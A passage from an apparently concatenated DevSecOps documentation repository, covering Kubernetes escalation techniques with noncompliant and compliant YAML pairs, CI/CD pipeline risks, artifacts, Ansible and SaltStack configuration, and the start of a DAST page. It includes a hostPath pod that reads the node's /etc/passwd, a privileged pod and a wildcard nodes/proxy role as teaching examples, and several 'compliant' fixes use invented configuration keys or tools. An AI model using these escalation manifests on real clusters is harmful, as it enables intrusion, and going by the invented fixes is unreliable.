Service Account. Below is an example of compliant code: ``` # Create a ClusterRole with appropriate administrative permissions apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: admin-clusterrole rules: - apiGroups: [""] resources: ["pods", "deployments"] verbs: ["get", "list", "create", "update", "delete"] # Create a Service Account in the kube-system namespace apiVersion: v1 kind: ServiceAccount metadata: name: admin-serviceaccount namespace: kube-system # Create a Cluster Role Binding to associate the Service Account with the ClusterRole apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: admin-clusterrolebinding subjects: - kind: ServiceAccount name: admin-serviceaccount namespace: kube-system roleRef: kind: ClusterRole name: admin-clusterrole apiGroup: rbac.authorization.k8s.io ``` The compliant code creates an Admin ClusterRole named "admin-clusterrole" with specific permissions for managing pods and deployments. It limits the verbs to "get", "list", "create", "update", and "delete" for those resources. This approach follows the principle of least privilege, granting only the necessary permissions to the Service Account. By adopting this approach, the Service Account associated with the Admin ClusterRole has restricted administrative access, reducing the potential impact of any compromise or misuse of the account. ## Create Client Certificate Credential Create Client Certificate Credential refers to the process of generating a client certificate for a privileged user in a Kubernetes cluster. The client certificate can be used to authenticate and access the cluster with the assigned privileges. Noncompliant Code: The following noncompliant code demonstrates the creation of a client certificate: ``` # Generate a private key openssl genrsa -out client.key 2048 # Create a certificate signing request (CSR) openssl req -new -key client.key -out client.csr -subj "/CN=client" # Print the CSR cat client.csr ``` The noncompliant code manually generates a private key using OpenSSL and creates a certificate signing request (CSR) for a client with the Common Name (CN) "client". However, this code snippet alone does not include the step to approve the CSR and issue the client certificate. It is important to note that this noncompliant code does not adhere to best practices and security requirements for managing client certificates within a Kubernetes cluster. Compliant Code: To create a client certificate credential in a compliant manner, it is recommended to use the Kubernetes Certificate Signing Request (CSR) API and follow the proper procedures for certificate generation and approval. Below is an example of compliant code: ``` # Create a CertificateSigningRequest object apiVersion: certificates.k8s.io/v1beta1 kind: CertificateSigningRequest metadata: name: client-csr spec: groups: - system:authenticated request: (base64-encoded CSR) usages: - client auth # Approve the CertificateSigningRequest kubectl certificate approve client-csr # Retrieve the signed certificate kubectl get csr client-csr -o jsonpath='{.status.certificate}' | base64 -d > client.crt # Print the client certificate and private key echo "Client Certificate:" cat client.crt echo "Client Private Key:" openssl rsa -in client.key -text ``` The compliant code demonstrates the proper approach for creating a client certificate credential. It involves creating a CertificateSigningRequest (CSR) object with the appropriate metadata, including the base64-encoded CSR and specified usages. The CSR is then approved using the kubectl certificate approve command, and the signed certificate is retrieved using kubectl get csr. Finally, the client certificate and private key are printed. ## Create Long-Lived Token Create Long-Lived Token refers to the process of generating a token with an extended expiration period for a service account in a Kubernetes cluster. This allows an attacker to establish persistence by creating a long-lived token that grants ongoing access to the compromised cluster. Noncompliant Code: The following noncompliant code demonstrates the creation of a long-lived token: ``` # Create a service account token kubectl create serviceaccount long-lived-token-sa # Get the token kubectl get secret $(kubectl get serviceaccount long-lived-token-sa -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d ``` The noncompliant code generates a service account token for a newly created service account. It retrieves the token from the associated secret and decodes it using base64. However, this code snippet alone does not specify an extended expiration for the token, and the default token expiration policy of the cluster will be applied. It is important to note that this noncompliant code does not adhere to the concept of creating a long-lived token explicitly. Compliant Code: To create a long-lived token, a compliant approach would involve defining a custom TokenRequest with a specific expiration time. Here's an example of compliant code: ``` # Create a TokenRequest with extended expiration apiVersion: authentication.k8s.io/v1 kind: TokenRequest metadata: name: long-lived-token spec: audience: api expirationSeconds: 2592000 # 30 days (adjust as needed) tokenRequest: metadata: name: serviceaccount-name namespace: namespace-name # Create the TokenRequest kubectl create -f token-request.yaml # Get the token kubectl get secret $(kubectl get tokenrequest long-lived-token -o jsonpath='{.status.secretName}') -o jsonpath='{.data.token}' | base64 -d ``` The compliant code defines a TokenRequest object specifying the desired expiration time for the token (e.g., 30 days). It also includes the name of the service account and the namespace. The TokenRequest is then created using kubectl create with the YAML file containing the object definition. Finally, the token is retrieved by accessing the associated secret and decoding the token value. ## Container breakout via hostPath volume mount Container breakout via hostPath volume mount is a privilege escalation technique in Kubernetes where a malicious actor creates a pod that mounts the entire node's root filesystem using the hostPath volume. This allows the attacker to escape the pod's containerized environment and access sensitive files or execute privileged actions on the underlying host system. Noncompliant Code: The following noncompliant code demonstrates the creation of a pod with a hostPath volume mount: ``` apiVersion: v1 kind: Pod metadata: name: hostpath-container-breakout spec: containers: - name: attacker-container image: busybox command: ["/bin/sh", "-c"] args: ["cat /host/etc/passwd"] volumeMounts: - name: hostpath-volume mountPath: /host volumes: - name: hostpath-volume hostPath: path: / ``` The noncompliant code defines a pod named "hostpath-container-breakout" with a single container based on the "busybox" image. The container executes the command "cat /host/etc/passwd" to read the "/etc/passwd" file on the host system. The hostPath volume is mounted at "/host", allowing access to the node's root filesystem. Compliant Code: To prevent container breakout via hostPath volume mount, it is essential to apply proper security controls and restrictions to limit access to the host system. Here's an example of compliant code that mitigates this issue: ``` apiVersion: v1 kind: Pod metadata: name: secure-pod spec: containers: - name: trusted-container image: busybox command: ["/bin/sh", "-c"] args: ["echo 'Access denied'"] securityContext: allowPrivilegeEscalation: false ``` The compliant code defines a pod named "secure-pod" with a single container based on the "busybox" image. The container executes a command that simply echoes "Access denied" to indicate restricted access. The securityContext section is added with the "allowPrivilegeEscalation" field set to false, which prevents privilege escalation attempts within the container. ## Privilege escalation through node/proxy permissions Privilege escalation through node/proxy permissions is a technique in Kubernetes that leverages the node proxy API to escalate privileges. By using this technique, an attacker with the nodes/proxy permission can bypass admission control checks and API server logging to escalate their privileges to cluster administrator. Noncompliant Code: The following noncompliant code demonstrates the creation of a cluster role with nodes/proxy permissions and binding it to a service account: ``` apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: nodes-proxy-role rules: - apiGroups: [""] resources: ["nodes/proxy"] verbs: ["*"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: nodes-proxy-binding roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: nodes-proxy-role subjects: - kind: ServiceAccount name: nodes-proxy-sa namespace: your-namespace ``` The noncompliant code creates a cluster role named "nodes-proxy-role" with rules granting full access to the nodes/proxy resource. It also creates a cluster role binding named "nodes-proxy-binding" that binds the role to a service account named "nodes-proxy-sa" in a specific namespace. Compliant Code: To mitigate privilege escalation through node/proxy permissions, it's crucial to implement the principle of least privilege and restrict access to sensitive resources. Here's an example of compliant code: ``` apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: restricted-nodes-proxy-role rules: - apiGroups: [""] resources: ["nodes/proxy"] verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: restricted-nodes-proxy-binding roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: restricted-nodes-proxy-role subjects: - kind: ServiceAccount name: restricted-nodes-proxy-sa namespace: your-namespace ``` The compliant code creates a cluster role named "restricted-nodes-proxy-role" with a rule that allows only the "get" verb for the nodes/proxy resource. This significantly limits the permissions associated with the role, reducing the risk of privilege escalation. ## Run a Privileged Pod Running a privileged pod in Kubernetes refers to launching a pod with elevated privileges, equivalent to running as root on the worker node. Privileged pods can be used as a vector for privilege escalation within the cluster. Noncompliant Code: The following noncompliant code demonstrates the creation of a privileged pod: ``` apiVersion: v1 kind: Pod metadata: name: privileged-pod namespace: your-namespace spec: containers: - name: privileged-container image: busybox:latest command: ["sleep", "3600"] securityContext: privileged: true ``` The noncompliant code creates a pod named "privileged-pod" within a specific namespace. It contains a single container named "privileged-container" running the "busybox:latest" image. The securityContext.privileged field is set to true, indicating that the pod should run with elevated privileges. Compliant Code: To ensure the security and integrity of the cluster, it's important to follow the principle of least privilege and avoid running privileged pods whenever possible. Here's an example of compliant code: ``` apiVersion: v1 kind: Pod metadata: name: non-privileged-pod namespace: your-namespace spec: containers: - name: non-privileged-container image: busybox:latest command: ["sleep", "3600"] ``` The compliant code creates a pod named "non-privileged-pod" within a specific namespace. It contains a single container named "non-privileged-container" running the "busybox:latest" image. By omitting the securityContext.privileged field or setting it to false (the default), the pod and its container will run with standard user privileges. This reduces the risk of privilege escalation and helps maintain the security boundaries within the cluster. ================================================ FILE: docs/attacks/pipeline.md ================================================ --- layout: default title: Pipeline Attacks parent: Attacks --- # Pipeline Attacks {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Insecure Configuration Management: Misconfiguration of configuration files, secrets, or environment variables in the pipeline, leading to unauthorized access or exposure of sensitive information. In the noncompliant code, there is a lack of encryption in the pipeline. This means that sensitive data transmitted within the pipeline, such as configuration files, credentials, or deployment artifacts, are not adequately protected, increasing the risk of unauthorized access or data leakage. ``` # Noncompliant: Lack of Encryption in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." build-tool - name: Deploy Application command: | echo "Deploying application..." deploy-tool - name: Upload Artifacts command: | echo "Uploading artifacts..." upload-tool ``` To address the lack of encryption in the pipeline, it is essential to implement encryption mechanisms to protect sensitive data. ``` # Compliant: Enhanced Encryption in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." build-tool security: - encryption: true - name: Deploy Application command: | echo "Deploying application..." deploy-tool security: - encryption: true - name: Upload Artifacts command: | echo "Uploading artifacts..." upload-tool security: - encryption: true ``` In the compliant code, each step in the pipeline has an associated security configuration that enables encryption. This ensures that sensitive data is encrypted during transmission within the pipeline, providing an additional layer of protection against unauthorized access or data exposure. ## Weak Authentication and Authorization: Inadequate authentication mechanisms and weak authorization controls in the pipeline, allowing unauthorized access to critical resources or actions. In the noncompliant code, weak or inadequate authentication and authorization mechanisms are used in the pipeline. This can lead to unauthorized access, privilege escalation, or other security issues. ``` # Noncompliant: Weak authentication and authorization in pipeline stages: - name: Deploy to Production steps: - name: Authenticate with Production Environment command: | echo "Authenticating with production environment..." # Weak authentication mechanism kubectl config set-credentials admin --username=admin --password=weakpassword kubectl config use-context production - name: Deploy Application command: | echo "Deploying application..." kubectl apply -f deployment.yaml ``` In the compliant code snippet, strong authentication mechanisms such as service accounts or OAuth tokens are used to authenticate with the production environment. These mechanisms provide stronger security controls and help prevent unauthorized access to sensitive resources. ``` # Compliant: Strong authentication and authorization in pipeline stages: - name: Deploy to Production steps: - name: Authenticate with Production Environment command: | echo "Authenticating with production environment..." # Strong authentication mechanism (e.g., using a service account or OAuth tokens) kubectl config set-credentials prod-service-account --token=strongtoken kubectl config use-context production - name: Deploy Application command: | echo "Deploying application..." kubectl apply -f deployment.yaml ``` ## Insecure CI/CD Tools: Vulnerabilities in the Continuous Integration/Continuous Deployment (CI/CD) tools used in the pipeline, such as outdated software versions or insecure configurations, leading to potential exploits or unauthorized access. In the noncompliant code, insecure CI/CD tools are used in the pipeline, which can pose security risks. This may include using outdated or vulnerable versions of CI/CD tools, relying on insecure configurations, or using tools with known security vulnerabilities. ``` # Compliant: Secure CI/CD Tools in pipeline stages: - name: Build and Deploy steps: - name: Scan for Vulnerabilities command: | echo "Scanning for vulnerabilities..." # Using a secure and up-to-date version of the CI/CD tool secure-cicd-tool scan --version 2.0.0 - name: Deploy Application command: | echo "Deploying application..." secure-cicd-tool deploy -f deployment.yaml ``` In the compliant code snippet, secure and up-to-date versions of the CI/CD tools are used, which have been reviewed for security vulnerabilities. Additionally, it is important to ensure that the configurations of these tools are properly secured and follow security best practices. ``` # Compliant: Secure CI/CD Tools in pipeline stages: - name: Build and Deploy steps: - name: Scan for Vulnerabilities command: | echo "Scanning for vulnerabilities..." # Using a secure and up-to-date version of the CI/CD tool secure-cicd-tool scan --version 2.0.0 - name: Deploy Application command: | echo "Deploying application..." secure-cicd-tool deploy -f deployment.yaml ``` ## Lack of Secure Coding Practices: Development teams not following secure coding practices, leading to the introduction of vulnerabilities, such as code injection, cross-site scripting (XSS), or SQL injection, into the pipeline. In the noncompliant code, there is a lack of secure coding practices in the pipeline. This can include the absence of code review, the use of insecure libraries or frameworks, and the lack of security testing and validation during the development and deployment process. ``` # Noncompliant: Lack of Secure Coding Practices in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." # Building the application without any code review or security testing insecure-build-tool build - name: Deploy Application command: | echo "Deploying application..." # Deploying the application without ensuring secure coding practices insecure-deploy-tool deploy -f deployment.yaml ``` To address the lack of secure coding practices in the pipeline, it is important to adopt and implement secure coding practices throughout the development and deployment process. This includes incorporating code reviews, using secure coding guidelines, and performing security testing and validation. In the compliant code snippet, secure coding practices are implemented by incorporating code review and security testing during the build process. This ensures that potential security vulnerabilities are identified and addressed early in the development cycle. Additionally, the deployment process includes the use of secure deployment tools that prioritize secure coding practices. ``` # Compliant: Implementation of Secure Coding Practices in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." # Incorporating code review and security testing during the build process secure-build-tool build --code-review --security-testing - name: Deploy Application command: | echo "Deploying application..." # Deploying the application with secure coding practices secure-deploy-tool deploy -f deployment.yaml ``` ## Insecure Third-Party Dependencies: Integration of insecure or outdated third-party libraries or components into the pipeline, exposing the pipeline to known vulnerabilities or exploits. In the noncompliant code, there is a lack of consideration for insecure third-party dependencies in the pipeline. This can include the use of outdated or vulnerable libraries, frameworks, or plugins without proper validation or risk assessment. ``` # Noncompliant: Lack of Insecure Third-Party Dependencies in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." # Building the application without considering insecure third-party dependencies insecure-build-tool build - name: Deploy Application command: | echo "Deploying application..." # Deploying the application without validating the security of third-party dependencies insecure-deploy-tool deploy -f deployment.yaml ``` To address the lack of consideration for insecure third-party dependencies in the pipeline, it is crucial to implement proper validation and management practices. This includes conducting regular vulnerability assessments, using dependency management tools, and maintaining an updated inventory of dependencies. ``` # Compliant: Validation and Management of Third-Party Dependencies in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." # Building the application with vulnerability assessment and secure dependency management secure-build-tool build --vulnerability-scan --dependency-management - name: Deploy Application command: | echo "Deploying application..." # Deploying the application after validating the security of third-party dependencies secure-deploy-tool deploy -f deployment.yaml ``` In the compliant code snippet, validation and management practices for third-party dependencies are implemented in the pipeline. This includes conducting vulnerability scans and utilizing dependency management tools to ensure that only secure and up-to-date dependencies are used in the application. By addressing insecure third-party dependencies, the pipeline can significantly reduce the risk of introducing vulnerabilities and improve the overall security of the deployed application. ## Insufficient Testing: Inadequate testing processes, including lack of security testing, vulnerability scanning, or penetration testing, allowing potential vulnerabilities to go undetected in the pipeline. In the noncompliant code, there is a lack of sufficient testing in the pipeline. This means that the pipeline does not include appropriate testing stages, such as unit tests, integration tests, or security tests, to ensure the quality and security of the deployed application. ``` # Noncompliant: Insufficient Testing in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." # Building the application without running tests insecure-build-tool build - name: Deploy Application command: | echo "Deploying application..." # Deploying the application without running tests insecure-deploy-tool deploy -f deployment.yaml ``` To address the lack of sufficient testing in the pipeline, it is crucial to incorporate comprehensive testing stages to validate the functionality, quality, and security of the application. ``` # Compliant: Comprehensive Testing in pipeline stages: - name: Build and Test steps: - name: Build Application command: | echo "Building application..." # Building the application with unit tests secure-build-tool build --unit-tests - name: Run Integration Tests command: | echo "Running integration tests..." # Running integration tests to validate the application's behavior and interactions secure-test-tool run --integration-tests - name: Deploy steps: - name: Deploy Application command: | echo "Deploying application..." # Deploying the application after successful build and tests secure-deploy-tool deploy -f deployment.yaml ``` In the compliant code snippet, a separate testing stage is added before the deployment stage. This testing stage includes unit tests and integration tests to validate the application's functionality and behavior. By running comprehensive tests, potential issues and vulnerabilities can be identified early in the pipeline, ensuring a higher level of quality and security for the deployed application. ## Insecure Build and Deployment Processes: Weak controls and improper validation during the build and deployment processes, enabling the inclusion of malicious code or unauthorized changes into the pipeline. In the noncompliant code, the build and deployment processes lack proper controls and validation, making them vulnerable to the inclusion of malicious code or unauthorized changes. This can lead to the deployment of compromised or insecure applications. ``` # Noncompliant: Insecure Build and Deployment Processes in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." # Building the application without proper validation insecure-build-tool build - name: Deploy Application command: | echo "Deploying application..." # Deploying the application without proper controls insecure-deploy-tool deploy -f deployment.yaml ``` To address the security vulnerabilities in the build and deployment processes, it is essential to implement secure controls and validation measures. ``` # Compliant: Secure Build and Deployment Processes in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." # Building the application with proper validation secure-build-tool build --validate - name: Deploy Application command: | echo "Deploying application..." # Deploying the application with proper controls secure-deploy-tool deploy -f deployment.yaml --verify ``` In the compliant code snippet, the build and deployment processes have been enhanced with secure controls and validation. The build process includes proper validation steps to ensure that only valid and authorized code is included in the deployment package. Similarly, the deployment process incorporates controls to verify the integrity and authenticity of the deployed application, preventing unauthorized changes or inclusion of malicious code. ## Exposed Credentials: Storage or transmission of sensitive credentials, such as API keys or access tokens, in an insecure manner within the pipeline, making them susceptible to unauthorized access or misuse. In the noncompliant code, credentials are hardcoded or exposed in plain text within the pipeline configuration or scripts. This makes them vulnerable to unauthorized access or disclosure, putting the sensitive information at risk. ``` # Noncompliant: Exposed Credentials in pipeline stages: - name: Build and Deploy steps: - name: Set Environment Variables command: | export DATABASE_USERNAME=admin export DATABASE_PASSWORD=secretpassword - name: Build Application command: | echo "Building application..." build-tool --username=$DATABASE_USERNAME --password=$DATABASE_PASSWORD - name: Deploy Application command: | echo "Deploying application..." deploy-tool --username=$DATABASE_USERNAME --password=$DATABASE_PASSWORD ``` To address the security concern of exposed credentials in the pipeline, it is crucial to adopt secure practices for handling sensitive information. ``` # Compliant: Secure Handling of Credentials in pipeline stages: - name: Build and Deploy steps: - name: Retrieve Credentials from Secure Vault command: | export DATABASE_USERNAME=$(secure-vault read DATABASE_USERNAME) export DATABASE_PASSWORD=$(secure-vault read DATABASE_PASSWORD) - name: Build Application command: | echo "Building application..." build-tool --username=$DATABASE_USERNAME --password=$DATABASE_PASSWORD - name: Deploy Application command: | echo "Deploying application..." deploy-tool --username=$DATABASE_USERNAME --password=$DATABASE_PASSWORD ``` In the compliant code snippet, the sensitive credentials are retrieved securely from a secure vault or secret management system. This ensures that the credentials are not exposed directly in the pipeline configuration or scripts. By using a secure vault, the credentials remain encrypted and are accessed only when needed during the pipeline execution. ## Insufficient Monitoring and Logging: Lack of robust monitoring and logging mechanisms in the pipeline, hindering the detection and response to security incidents or unusual activities. In the noncompliant code, there is a lack of proper monitoring and logging practices in the pipeline. This means that important events, errors, or security-related activities are not adequately captured or logged, making it challenging to detect and respond to potential issues or security incidents. ``` # Noncompliant: Insufficient Monitoring and Logging in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." build-tool - name: Deploy Application command: | echo "Deploying application..." deploy-tool ``` To address the insufficient monitoring and logging in the pipeline, it is essential to implement proper logging and monitoring practices. ``` # Compliant: Implementing Monitoring and Logging in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." build-tool - name: Deploy Application command: | echo "Deploying application..." deploy-tool - name: Monitor and Log steps: - name: Send Pipeline Logs to Centralized Logging System command: | echo "Sending pipeline logs to centralized logging system..." send-logs --log-file=pipeline.log - name: Monitor Pipeline Performance and Health command: | echo "Monitoring pipeline performance and health..." monitor-pipeline ``` In the compliant code snippet, an additional stage called "Monitor and Log" is introduced to handle monitoring and logging activities. This stage includes steps to send pipeline logs to a centralized logging system and monitor the performance and health of the pipeline. By sending the pipeline logs to a centralized logging system, you can gather and analyze log data from multiple pipeline runs, enabling better visibility into pipeline activities and potential issues. Monitoring the pipeline's performance and health helps identify any abnormalities or bottlenecks, allowing for proactive remediation. ## Misconfigured Access Controls: Improperly configured access controls, permissions, or roles within the pipeline, allowing unauthorized users or malicious actors to gain elevated privileges or access to critical resources. In the noncompliant code, there is a lack of proper access controls in the pipeline. This means that unauthorized individuals may have access to sensitive information or critical pipeline components, leading to potential security breaches or unauthorized actions. ``` # Noncompliant: Misconfigured Access Controls in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." build-tool - name: Deploy Application command: | echo "Deploying application..." deploy-tool ``` To mitigate the risk of misconfigured access controls in the pipeline, it is crucial to implement proper access controls and authentication mechanisms. ``` # Compliant: Enhanced Access Controls in pipeline stages: - name: Build and Deploy steps: - name: Build Application command: | echo "Building application..." build-tool security: - role: build-deploy - name: Deploy Application command: | echo "Deploying application..." deploy-tool security: - role: build-deploy ``` In the compliant code, each step in the pipeline has an associated security configuration that specifies the necessary roles or permissions required to execute that step. This ensures that only authorized individuals or entities can perform specific actions in the pipeline. ## Insecure Configurations Inadequate or insecure configuration settings within CI/CD tools and platforms. Example of attacks: Unauthorized access to build pipelines, exposure of sensitive credentials, misconfigured access controls. ## Vulnerability Management Inadequate or ineffective management of vulnerabilities in CI/CD processes and artifacts. Example of attacks: Exploitation of known vulnerabilities in application dependencies, outdated software components. ## Inadequate Secrets Management Poor handling of sensitive information such as API keys, passwords, and certificates. Example of attacks: Disclosure of secrets through repository leaks, unauthorized access to production environments. ## Insecure Third-Party Integrations Integration of untrusted or vulnerable third-party services or libraries in CI/CD workflows. Example of attacks: Supply chain attacks, malicious code injection through compromised dependencies. ## Weak Access Controls Insufficient controls and monitoring of access to CI/CD pipelines, repositories, and build systems. Example of attacks: Unauthorized modification of build artifacts, privilege escalation, unauthorized access to sensitive data. ## Insider Threats Risks posed by authorized individuals with malicious intent or accidental actions. Example of attacks: Unauthorized modification of CI/CD configurations, sabotage of build pipelines, data exfiltration. ## Lack of Build Integrity Failure to ensure the integrity and authenticity of build artifacts throughout the CI/CD process. Example of attacks: Injection of malicious code or backdoors into build artifacts, tampering with deployment packages. ## Inadequate Testing Insufficient or ineffective testing of CI/CD pipelines, leading to undetected vulnerabilities. Example of attacks: Exploitation of untested code paths, introduction of vulnerable code during the build process. ## Insufficient Monitoring and Logging Lack of real-time monitoring and comprehensive logging for CI/CD activities and events. Example of attacks: Difficulty in identifying and responding to security incidents, delayed detection of unauthorized activities. ## Lack of Compliance and Governance Failure to adhere to security policies, industry regulations, and compliance requirements in CI/CD workflows. Example of attacks: Non-compliance with data protection standards, regulatory fines, legal implications. ================================================ FILE: docs/build-test/artifacts.md ================================================ --- layout: default title: Artifacts parent: Build & Test --- # Artifacts {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Artifacts are typically created during the build and deployment process, and are stored in a repository or other storage location so that they can be easily retrieved and deployed as needed. There are a number of methods that can be used to save artifacts in a DevSecOps environment, including: 1. Build Artifacts: Build artifacts are created during the build process and include compiled code, libraries, and other files that are needed to deploy and run the application. These artifacts can be saved in a repository or other storage location for later use. 2. Container Images: Container images are a type of artifact that contain everything needed to run the application, including the code, runtime, and dependencies. These images can be saved in a container registry or other storage location and can be easily deployed to any environment that supports containers. 3. Infrastructure as Code (IaC) Artifacts: IaC artifacts are created as part of the configuration management process and include scripts, templates, and other files that are used to define and manage the infrastructure of the application. These artifacts can be stored in a repository or other storage location and can be used to deploy the infrastructure to any environment. 4. Test Artifacts: Test artifacts include test scripts, test results, and other files that are created as part of the testing process. These artifacts can be stored in a repository or other storage location for later reference and analysis. ## Checklist for developing an artifact in DevSecOps 1- Create a secure development environment: * Set up a development environment that is separate from production. * Use version control to track changes to the source code. * Use secrets management tools to store sensitive information like API keys and passwords. 2- Implement security testing into the development process: * Use static analysis security testing (SAST) tools to analyze the source code for vulnerabilities. * Use dynamic application security testing (DAST) tools to test the application in a real-world environment. * Use interactive application security testing (IAST) tools to detect vulnerabilities in real-time during testing. 3- Automate the build process: Use build automation tools like Maven or Gradle to compile the source code and build the artifact. Include security testing tools in the build process. 4- Automate deployment: * Use configuration management tools like Ansible or Chef to automate deployment of the artifact. * Use infrastructure-as-code tools like Terraform or CloudFormation to automate the creation and management of infrastructure. 5- Implement continuous integration/continuous delivery (CI/CD) practices: * Use a CI/CD pipeline to automate the entire development process. * Use tools like Jenkins or CircleCI to manage the pipeline and run tests automatically. ## Nexsus ### Define an Artifact ``` artifact: name: MyVulnerabilityScan type: vulnerability_scan target: target_host ``` ### Schedule Artifact Execution ``` artifact_schedule: name: DailyVulnerabilityScan artifact: MyVulnerabilityScan schedule: cron(0 0 * * *) ``` ### Run Artifact ``` artifact_run: name: VulnerabilityScan artifact: MyVulnerabilityScan ``` ### Retrieve Artifact Results ``` artifact_results: name: VulnerabilityScanResults artifact: MyVulnerabilityScan ``` ### Remediate Vulnerabilities ``` artifact_remediation: name: VulnerabilityRemediation artifact: MyVulnerabilityScan remediation_script: remediation_script.sh ``` ================================================ FILE: docs/build-test/build-test.md ================================================ --- layout: default title: Build & Test nav_order: 4 has_children: true permalink: docs/build-test --- # Build & Test {: .no_toc } {: .fs-6 .fw-300 } ================================================ FILE: docs/build-test/configuration-management.md ================================================ --- layout: default title: Configuration Management parent: Build & Test --- # Configuration Management {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Configuration management is the process of managing and maintaining the configuration of an application or system in a consistent and reliable manner. In a DevSecOps environment, configuration management is an important component of ensuring that applications are secure and reliable. Here are some common tools and practices used in configuration management in DevSecOps: 1. Infrastructure as Code (IaC): IaC is a practice that involves writing code to define and manage the infrastructure and configuration of an application or system. This approach provides a more automated and repeatable way of managing configurations, and helps to ensure that the infrastructure is consistent across different environments. 2. Configuration Management Tools: There are a number of configuration management tools that can be used to manage configurations in a DevSecOps environment. Some popular examples include Ansible, Chef, Puppet, and SaltStack. 3. Version Control: Version control systems like Git can be used to manage changes to configurations over time, making it easier to track changes and roll back to previous configurations if necessary. 4. Continuous Integration and Deployment (CI/CD): CI/CD pipelines can be used to automate the deployment and configuration of applications in a DevSecOps environment. This can help to ensure that configurations are consistent and up-to-date across different environments. 5. Security Configuration Management: Security configuration management involves ensuring that the configurations of applications and systems are secure and meet industry standards and best practices. This can include configuring firewalls, encryption, access controls, and other security measures. To achieve this, you can use a configuration management tool like Ansible or Puppet to manage the configuration of the system. Here's a high-level overview of how this might work: 1. Define the configuration: You define the configuration of the system in a configuration file or script. This includes things like the software packages to be installed, the network settings, the user accounts, and any other system settings. 2. Version control: You use version control tools like Git to track changes to the configuration file, and to maintain a history of changes. 3. Continuous integration and deployment: You use a CI/CD pipeline to build and test the application, and to deploy the containers to the different environments. The configuration management tool is integrated into the pipeline, so that any changes to the configuration are automatically applied to the containers as they are deployed. 4. Automation: The configuration management tool automates the process of configuring the system, so that the same configuration is applied consistently across all environments. This reduces the risk of configuration errors and makes it easier to maintain the system. 5. Monitoring and reporting: The configuration management tool provides monitoring and reporting capabilities, so that you can track the status of the system and identify any issues or errors. ### Ansible #### Ansible Playbooks Playbooks are the heart of Ansible, and define the configuration steps for your infrastructure. ``` # playbook.yml - hosts: web_servers tasks: - name: Install Apache apt: name: apache2 state: latest - name: Start Apache service: name: apache2 state: started ``` #### Ansible Variables ``` # playbook.yml - hosts: web_servers vars: http_port: 80 tasks: - name: Install Apache apt: name: apache2 state: latest - name: Configure Apache template: src: apache.conf.j2 dest: /etc/apache2/apache.conf ``` ### Ansible Ad-Hoc Commands ``` $ ansible web_servers -m ping $ ansible web_servers -a "apt update && apt upgrade -y" ``` ### Ansible Vault Vault allows you to encrypt sensitive data, like passwords and API keys. ``` $ ansible-vault create secrets.yml ``` ``` # secrets.yml api_key: ABCDEFGHIJKLMNOPQRSTUVWXYZ ``` ### SaltStack #### Secure File Management SaltStack provides secure file management through the use of the file.managed state module, which ensures the integrity and security of files on Salt Minions. ``` /etc/sudoers: file.managed: - source: salt://files/sudoers - user: root - group: root - mode: 440 - backup: minion ``` This command manages the /etc/sudoers file on Salt Minions, ensuring that it is sourced from the Salt Master (salt://files/sudoers), owned by the root user and group, has the mode set to 440, and creates a backup of the previous file. #### State Management SaltStack's state management allows you to define and enforce desired system configurations, ensuring consistency and security across Salt Minions. ``` apache_package_installed: pkg.installed: - name: apache2 apache_service_running: service.running: - name: apache2 - enable: True ``` This command defines two states: apache_package_installed and apache_service_running. The first state ensures that the apache2 package is installed on the Salt Minion, and the second state ensures that the apache2 service is running and enabled. #### Vulnerability Scanning Integration SaltStack can be integrated with vulnerability scanning tools to identify and remediate vulnerabilities on Salt Minions. ``` openvas_scan: salt.modules.openvas.scan: - target: '*' - report_id: 'scan_report' - create_task: True ``` This command initiates a vulnerability scan using OpenVAS on all Salt Minions (`target: '*'`). It generates a report with the ID `scan_report` and creates a scan task if it doesn't already exist. ================================================ FILE: docs/build-test/dast.md ================================================ --- layout: default title: DAST parent: Build & Test --- # DAST {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- DAST stands for Dynamic Application Security Testing. It is a type of application security testing that involves testing an application in a running state to identify security vulnerabilities that may be present. DAST tools work by interacting with an application in much the same way as a user would, by sending HTTP requests to the application and analyzing the responses that are received. This allows DAST tools to identify vulnerabilities that may be present in the application's logic, configuration, or architecture. Here are some key features of DAST: * Realistic testing: DAST provides a more realistic testing environment than SAST because it tests the application in a running state, simulating how an attacker would interact with it. * Automation: DAST tools can be automated to provide continuous testing, allowing for faster feedback on vulnerabilities. * Scalability: DAST tools can be scaled to test large and complex applications, making them suitable for enterprise-level testing. * Coverage: DAST tools can provide coverage for a wide range of security vulnerabilities, including those that may be difficult to detect through other forms of testing. * Ease of use: DAST tools are typically easy to use and require minimal setup, making them accessible to developers and security teams. | DAST Tool | Description | |:---------------|:---------------------| | `OWASP ZAP` | an open-source web application security scanner | | `Burp Suite` | a web application security testing toolkit | Assuming we have a web application that we want to test for security vulnerabilities using DAST, we can use OWASP ZAP, an open-source web application security scanner, in our pipeline. 1- **First, we need to install OWASP ZAP and configure it with our web application. This can be done by running the following commands in the pipeline:** ``` - name: Install OWASP 